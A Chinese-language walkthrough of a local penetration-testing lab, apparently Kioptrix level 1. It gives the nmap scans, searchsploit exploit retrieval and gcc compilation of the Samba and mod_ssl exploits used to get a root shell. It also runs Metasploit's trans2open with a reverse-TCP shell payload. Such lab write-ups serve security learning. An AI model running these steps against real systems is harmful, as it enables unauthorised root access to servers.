靶场下载链接:
正文
nmap扫描靶场ip (--min-rate:最低探测速率,因为是靶场在同一网络下所以可以用,实战中请慎重)
nmap -sn 192.168.1.1/24 --min-rate 1000 -r
探测所有端口并保存到kvm1文件夹并命名为port方便查看
(-Pn:将所有主机视为在在线,跳过主机发现
-r:连续扫描端口
-sS:半开放扫描,不建立完整链接tcp协议会进行三次握手,这个扫描参数是只进行前两次握手
-oA:同时输出三种主要格式)
nmap -p- 192.168.1.104 --min-rate 1000 -r -sS -PN -oA kvm1/port
读取保存文件中的端口号
cat kvm1/port.nmap|grep open |awk -F '/' '{print $1}'
将换行符替换为逗号,方便复制(也可以手动去敲)
cat kvm1/port.nmap|grep open |awk -F '/' '{print $1}' |tr '\n' ','
对端口进行指纹和版本探测并保存到kvm1中命名server,速率过快可能会丢失信息,所以没有用--min-rate参数
(-sV:版本信息
-sC默认脚本扫描
-O:探测操作系统信息
--version-all:尽可能多的探测信息
--script=vuln:漏洞脚本扫描(可用可不用,主要还是思路))
nmap 192.168.1.104 -p 22,80,111,139,443,1024 -sV -sC --version-all -oA kvm1/server
用时可能稍微有些长
访问该靶场的80端口页面,发现没有什么有用的东西
因为中间件是apache,所以可以尝试搜索apache的漏洞,看有没有什么能利用的东西
使用命令搜索
searchsploit apache 1.3
发现有个远程代码执行的脚本,可以尝试一下
输入
mkdir ldly
创建一个名为ldly的文件夹用来复制67.c脚本(不创建也可以,我这里创建是因为方便归纳)
在ldly目录下复制67.c脚本并编译
输入
searchsploit apache 1.3 -m 67.c
编译67.c
gcc 67.c
编译成功后会在该目录下生成a.out
输入./a.out -h 查看所需参数
尝试运行
./a.out -t 192.168.1.104
利用失败
继续尝试搜索samba漏洞脚本(nmap扫描结果)
Searchsploit samba
发现可用脚本,进行尝试(远程代码执行脚本总是叫人跃跃欲动 (=_=) )
Searchsploit samba -m 10.c
再次通过gcc进行编译
gcc 10.c
运行编译出来的 a.out
./a.out
根据提供的参数进行填充
./a.out -b=0 192.168.1.104
成功获取到shell,并且是root权限
不同方法进行渗透
发现80端口信息后的mod_ssl/2.8.4
尝试搜索mod_ssl 漏洞脚本
searchsploit mod_ssl
发现版本符合,直接开始测试
searchsploit mod_ssl -m 47080.c
gcc 47080.c
编译后发现报错
查阅资料后发现需要使用 -lcrypto 进行编译
那么我们直接输入
gcc 47080.c -lcrypto
得到 a.out
运行
./a.out
我们靶场的apache版本为1.3.20,这里有两个符合版本的box
经过测试 0x6b 版本为我们靶场所需要的版本
输入
./a.out 0x6b 192.168.1.104
成功获取到shell
虽然获取到shell了,但是我并发现没有什么可以利用提权的点(欢迎大佬指正)
所以还是默默打开了msf
msfconsole
search samba
使用 exploit/linux/samba/trans2open 脚本
use exploit/linux/samba/trans2open
设置payload
set payload linux/x86/shell_reverse_tcp
查看参数设置并运行
options
set rhosts 192.168.1.104
exploit
成功获取到shell
方法三
同样的可以尝试使用smb的漏洞进行渗透,这里我就不再进行演示了
(nmap扫描结果)